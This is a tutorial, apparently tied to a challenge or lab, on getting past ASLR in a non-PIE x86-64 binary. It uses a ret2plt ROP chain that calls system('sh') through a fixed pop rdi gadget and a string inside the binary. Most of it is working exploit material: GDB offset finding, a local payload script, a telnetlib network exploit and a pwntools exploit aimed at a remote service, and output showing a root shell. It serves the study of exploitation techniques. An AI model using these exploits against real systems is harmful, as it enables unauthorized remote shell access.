ASLR randomizes memory addresses at runtime, making exploitation more difficult. However, when PIE (Position Independent Executable) is disabled, the binary’s own addresses remain fixed, providing a foothold for exploitation.
Understanding ASLR
ASLR randomizes:
- Stack addresses
- Heap addresses
- Library (libc) addresses
- mmap regions
Without PIE, these remain fixed:
- Binary code (.text)
- PLT/GOT sections
- Strings in the binary
Initial Analysis
Verify ASLR is Active
cat /proc/sys/kernel/randomize_va_space
2 # Full ASLR enabledFinding the Offset
Generate a core dump outside GDB (addresses differ inside debugger):
ulimit -c unlimited
cat pattern.txt | ./target
# Segmentation fault (core dumped)Analyze the core:
gdb -q ./target ./core
gdb-peda$ x/10gx $rsp
0x7ffc10dda218: 0x414f41413941416a 0x6c41415041416b41gdb-peda$ pattern offset 0x414f41413941416a
found at offset: 120RIP offset is 120 bytes.
Examining the Binary
gdb-peda$ info functions
0x0000000000400580 puts@plt
0x0000000000400590 system@plt
0x00000000004005a0 printf@plt
0x00000000004006e6 mainThe binary imports system() - we can use system@plt directly.
Finding Useful Addresses
system@plt
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400590 <system@plt>This address is fixed regardless of ASLR.
String in Binary
Search for useful strings:
gdb-peda$ find sh
bypass_aslr : 0x40085c --> 0x65746e450a006873 ('sh')The string “sh” exists at 0x40085c. This works because system("sh") is equivalent to system("/bin/sh").
ROP Gadget
ROPgadget --binary target --only "pop|ret" | grep rdi
0x00000000004007f3 : pop rdi ; retBuilding the Exploit
Local Testing
#!/usr/bin/env python3
import sys
from struct import pack
p64 = lambda x: pack("Q", x)
pop_rdi = 0x4007f3 # pop rdi; ret
system_plt = 0x400590 # system@plt
sh_string = 0x40085c # "sh" string
buf = b"A"*120 # Junk
buf += p64(pop_rdi) # Load next value into RDI
buf += p64(sh_string) # "sh" -> RDI
buf += p64(system_plt) # system("sh")
sys.stdout.buffer.write(buf)Network Exploit
For a network service:
#!/usr/bin/env python3
from struct import pack
from telnetlib import Telnet
p64 = lambda x: pack("Q", x)
print("[*] Connecting to server")
p = Telnet('192.168.1.100', 5556)
print("[*] Connected.")
pop_rdi = 0x4007f3
system_plt = 0x400590
sh_string = 0x40085c
print(p.read_until(b">"))
buf = b"A"*120
buf += p64(pop_rdi)
buf += p64(sh_string)
buf += p64(system_plt)
print("[*] Sending payload")
p.write(buf + b'\n')
print("[*] Got shell. Enter commands.")
p.interact()Execution
python exploit.py
#### Yet another exploitation challenge ####
Hope for a crash
Enter something:
>
[*] Sending payload
[*] Got shell. Enter commands.
Input Updated !
id
uid=0(root) gid=0(root) groups=0(root)Serving the Vulnerable Binary
For testing, serve the binary with socat:
socat tcp-listen:5556,reuseaddr,fork exec:"./target"Why This Works
ASLR Randomizes: Fixed (No PIE):
┌─────────────────┐ ┌─────────────────┐
│ Stack │ ? │ .text │ 0x400000
│ (random) │ │ PLT/GOT │
├─────────────────┤ │ .rodata │
│ Libraries │ ? └─────────────────┘
│ (random) │
├─────────────────┤
│ Heap │ ?
│ (random) │
└─────────────────┘
We only need addresses from the binary itself:
- system@plt (fixed)
- "sh" string (fixed)
- ROP gadgets (fixed)Alternative: Using Binary’s Own /bin/sh
If the binary contains /bin/sh:
gdb-peda$ find /bin/sh
bypass : 0x400abc --> 0x68732f6e69622f ('/bin/sh')Use this instead of “sh” for a more standard shell.
Handling PIE
If PIE is enabled, the binary’s addresses are also randomized. Solutions:
- Information Leak: Leak a code pointer to calculate base
- Partial Overwrite: Overwrite only lower bytes (less randomized)
- Brute Force: On 32-bit, randomization is weaker
Pwntools Version
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./target')
rop = ROP(elf)
# Connect
p = remote('192.168.1.100', 5556)
# Build ROP chain
rop.call('system', [next(elf.search(b'sh\x00'))])
# Create payload
payload = b'A' * 120
payload += rop.chain()
# Send
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()Key Takeaways
- ASLR vs PIE: ASLR randomizes libraries/stack; PIE randomizes the binary
- PLT is your friend: system@plt works even with ASLR
- Find strings in binary: Avoid needing libc addresses
- Fixed gadgets: ROP gadgets in the binary don’t move
- Core dumps help: Get real addresses outside GDB